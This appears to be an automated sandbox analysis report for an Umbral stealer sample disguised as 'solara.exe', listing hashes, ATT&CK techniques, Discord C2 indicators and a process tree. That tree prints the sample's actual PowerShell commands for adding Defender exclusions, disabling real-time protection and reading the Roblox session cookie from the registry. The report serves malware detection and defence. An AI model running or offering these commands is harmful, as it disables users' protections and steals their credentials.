umbral | 95f1bd4a4a436c6d1c4140a64a6abcc09d526fed27ca47f5802011e47387ea4f

Analysis

max time kernel
93s
max time network
94s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250217-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250217-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
22-02-2025 18:31

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General

Target

solara.exe
Size

234KB
MD5

cf286a2735b846ab217c40e856790ed4
SHA1

53bd95dbc70e30f4cb57fa9c47eb986159c851ea
SHA256

95f1bd4a4a436c6d1c4140a64a6abcc09d526fed27ca47f5802011e47387ea4f
SHA512

ebd05e8b1f80ccc875f784e75a453555fa5ac255dad564d0c093765a3a91527a134b939257730fee221d38ee5f6db2e3649e3e3266ead605593a99411d1ae3af
SSDEEP

6144:DloZMNrIkd8g+EtXHkv/iD41cEDCg/7IzR0STTKKx4b8e1mtEi:hoZmL+EP81cEDCg/7IzR0STTKK+6t

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2904-1-0x00000234F8710000-0x00000234F8750000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5048	powershell.exe
4452	powershell.exe
448	powershell.exe
2272	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	discord.com
8	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4408	wmic.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
5048	powershell.exe
5048	powershell.exe
4452	powershell.exe
4452	powershell.exe
448	powershell.exe
448	powershell.exe
1588	powershell.exe
1588	powershell.exe
1728	wmic.exe
1728	wmic.exe
1728	wmic.exe
1728	wmic.exe
4660	wmic.exe
4660	wmic.exe
4660	wmic.exe
4660	wmic.exe
4088	wmic.exe
4088	wmic.exe
4088	wmic.exe
4088	wmic.exe
2272	powershell.exe
2272	powershell.exe
4408	wmic.exe
4408	wmic.exe
4408	wmic.exe
4408	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2904	solara.exe
Token: SeDebugPrivilege	5048	powershell.exe
Token: SeIncreaseQuotaPrivilege	5048	powershell.exe
Token: SeSecurityPrivilege	5048	powershell.exe
Token: SeTakeOwnershipPrivilege	5048	powershell.exe
Token: SeLoadDriverPrivilege	5048	powershell.exe
Token: SeSystemProfilePrivilege	5048	powershell.exe
Token: SeSystemtimePrivilege	5048	powershell.exe
Token: SeProfSingleProcessPrivilege	5048	powershell.exe
Token: SeIncBasePriorityPrivilege	5048	powershell.exe
Token: SeCreatePagefilePrivilege	5048	powershell.exe
Token: SeBackupPrivilege	5048	powershell.exe
Token: SeRestorePrivilege	5048	powershell.exe
Token: SeShutdownPrivilege	5048	powershell.exe
Token: SeDebugPrivilege	5048	powershell.exe
Token: SeSystemEnvironmentPrivilege	5048	powershell.exe
Token: SeRemoteShutdownPrivilege	5048	powershell.exe
Token: SeUndockPrivilege	5048	powershell.exe
Token: SeManageVolumePrivilege	5048	powershell.exe
Token: 33	5048	powershell.exe
Token: 34	5048	powershell.exe
Token: 35	5048	powershell.exe
Token: 36	5048	powershell.exe
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeIncreaseQuotaPrivilege	1728	wmic.exe
Token: SeSecurityPrivilege	1728	wmic.exe
Token: SeTakeOwnershipPrivilege	1728	wmic.exe
Token: SeLoadDriverPrivilege	1728	wmic.exe
Token: SeSystemProfilePrivilege	1728	wmic.exe
Token: SeSystemtimePrivilege	1728	wmic.exe
Token: SeProfSingleProcessPrivilege	1728	wmic.exe
Token: SeIncBasePriorityPrivilege	1728	wmic.exe
Token: SeCreatePagefilePrivilege	1728	wmic.exe
Token: SeBackupPrivilege	1728	wmic.exe
Token: SeRestorePrivilege	1728	wmic.exe
Token: SeShutdownPrivilege	1728	wmic.exe
Token: SeDebugPrivilege	1728	wmic.exe
Token: SeSystemEnvironmentPrivilege	1728	wmic.exe
Token: SeRemoteShutdownPrivilege	1728	wmic.exe
Token: SeUndockPrivilege	1728	wmic.exe
Token: SeManageVolumePrivilege	1728	wmic.exe
Token: 33	1728	wmic.exe
Token: 34	1728	wmic.exe
Token: 35	1728	wmic.exe
Token: 36	1728	wmic.exe
Token: SeIncreaseQuotaPrivilege	1728	wmic.exe
Token: SeSecurityPrivilege	1728	wmic.exe
Token: SeTakeOwnershipPrivilege	1728	wmic.exe
Token: SeLoadDriverPrivilege	1728	wmic.exe
Token: SeSystemProfilePrivilege	1728	wmic.exe
Token: SeSystemtimePrivilege	1728	wmic.exe
Token: SeProfSingleProcessPrivilege	1728	wmic.exe
Token: SeIncBasePriorityPrivilege	1728	wmic.exe
Token: SeCreatePagefilePrivilege	1728	wmic.exe
Token: SeBackupPrivilege	1728	wmic.exe
Token: SeRestorePrivilege	1728	wmic.exe
Token: SeShutdownPrivilege	1728	wmic.exe
Token: SeDebugPrivilege	1728	wmic.exe
Token: SeSystemEnvironmentPrivilege	1728	wmic.exe
Token: SeRemoteShutdownPrivilege	1728	wmic.exe
Token: SeUndockPrivilege	1728	wmic.exe
Token: SeManageVolumePrivilege	1728	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2904 wrote to memory of 5048	2904	solara.exe	83
PID 2904 wrote to memory of 5048	2904	solara.exe	83
PID 2904 wrote to memory of 4452	2904	solara.exe	86
PID 2904 wrote to memory of 4452	2904	solara.exe	86
PID 2904 wrote to memory of 448	2904	solara.exe	88
PID 2904 wrote to memory of 448	2904	solara.exe	88
PID 2904 wrote to memory of 1588	2904	solara.exe	90
PID 2904 wrote to memory of 1588	2904	solara.exe	90
PID 2904 wrote to memory of 1728	2904	solara.exe	92
PID 2904 wrote to memory of 1728	2904	solara.exe	92
PID 2904 wrote to memory of 4660	2904	solara.exe	95
PID 2904 wrote to memory of 4660	2904	solara.exe	95
PID 2904 wrote to memory of 4088	2904	solara.exe	97
PID 2904 wrote to memory of 4088	2904	solara.exe	97
PID 2904 wrote to memory of 2272	2904	solara.exe	99
PID 2904 wrote to memory of 2272	2904	solara.exe	99
PID 2904 wrote to memory of 4408	2904	solara.exe	101
PID 2904 wrote to memory of 4408	2904	solara.exe	101

C:\Users\Admin\AppData\Local\Temp\solara.exe
"C:\Users\Admin\AppData\Local\Temp\solara.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\solara.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1588
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1728
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4660
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2272
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious behavior: EnumeratesProcesses
  PID:4408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c67441dfa09f61bca500bb43407c56b8

SHA1
5a56cf7cbeb48c109e2128c31b681fac3959157b

SHA256
63082da456c124d0bc516d2161d1613db5f3008d903e4066d2c7b4e90b435f33

SHA512
325de8b718b3a01df05e20e028c5882240e5fd2e96c771361b776312923ff178f27494a1f5249bf6d7365a99155eb8735a51366e85597008e6a10462e63ee0e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
a336499132170916d0d4d0af98eff1f2

SHA1
875da3c9f3ab7b415e1e883028bfb060dff60798

SHA256
0aff108c6b9355925a13202c241f1207a04d9a273caa84831be2cbd9241e35e8

SHA512
3595b0ace74040f5e47aa79482d7713c15dc3118c5b4b304e2b555ce250655c07951d7d0503ef29299571512fd2aeb6378b16333624a169e77b58e94e65b9d2f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8e1fdd1b66d2fee9f6a052524d4ddca5

SHA1
0a9d0994559d1be2eecd8b0d6960540ca627bdb6

SHA256
4cc7c1b79d1b48582d4dc27ca8c31457b9bf2441deb7914399bb9e6863f18b13

SHA512
5a5494b878b08e8515811ab7a3d68780dac7423f5562477d98249a8bedf7ec98567b7cd5d4c6967d6bc63f2d6d9b7da9a65e0eb29d4b955026b469b5b598d1f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
26b3e0eccb605c1298d5f1d54b78b465

SHA1
4e092d368713d9c02ebecff4652258e6f55118d4

SHA256
a9bc68861b342f50c1e1ee2e6754387628f6f462eaa000d50138cf91cb2ed22d

SHA512
4ee2519e07700bf3a70ee09f8721765155a20a19abc7d852774337f87f5abe2289a1863ee92d7028b94dcb37e96c63f57e934c00496d4487c8260284666e4e70

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r4gszehm.yri.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2904-60-0x00000234F8C50000-0x00000234F8C5A000-memory.dmp

Filesize
40KB

Download
memory/2904-61-0x00000234FA550000-0x00000234FA562000-memory.dmp

Filesize
72KB

Download
memory/2904-83-0x00007FF981B00000-0x00007FF9825C2000-memory.dmp

Filesize
10.8MB

Download
memory/2904-78-0x00007FF981B00000-0x00007FF9825C2000-memory.dmp

Filesize
10.8MB

Download
memory/2904-77-0x00007FF981B03000-0x00007FF981B05000-memory.dmp

Filesize
8KB

Download
memory/2904-1-0x00000234F8710000-0x00000234F8750000-memory.dmp

Filesize
256KB

Download
memory/2904-0-0x00007FF981B03000-0x00007FF981B05000-memory.dmp

Filesize
8KB

Download
memory/2904-33-0x00000234FAF20000-0x00000234FAF96000-memory.dmp

Filesize
472KB

Download
memory/2904-34-0x00000234FAD40000-0x00000234FAD90000-memory.dmp

Filesize
320KB

Download
memory/2904-35-0x00000234F8C20000-0x00000234F8C3E000-memory.dmp

Filesize
120KB

Download
memory/2904-2-0x00007FF981B00000-0x00007FF9825C2000-memory.dmp

Filesize
10.8MB

Download
memory/5048-8-0x000001DEB1DB0000-0x000001DEB1DD2000-memory.dmp

Filesize
136KB

Download
memory/5048-13-0x00007FF981B00000-0x00007FF9825C2000-memory.dmp

Filesize
10.8MB

Download
memory/5048-15-0x00007FF981B00000-0x00007FF9825C2000-memory.dmp

Filesize
10.8MB

Download
memory/5048-14-0x00007FF981B00000-0x00007FF9825C2000-memory.dmp

Filesize
10.8MB

Download
memory/5048-19-0x00007FF981B00000-0x00007FF9825C2000-memory.dmp

Filesize
10.8MB

Download
memory/5048-20-0x00007FF981B00000-0x00007FF9825C2000-memory.dmp

Filesize
10.8MB

Download
memory/5048-16-0x00007FF981B00000-0x00007FF9825C2000-memory.dmp

Filesize
10.8MB

Download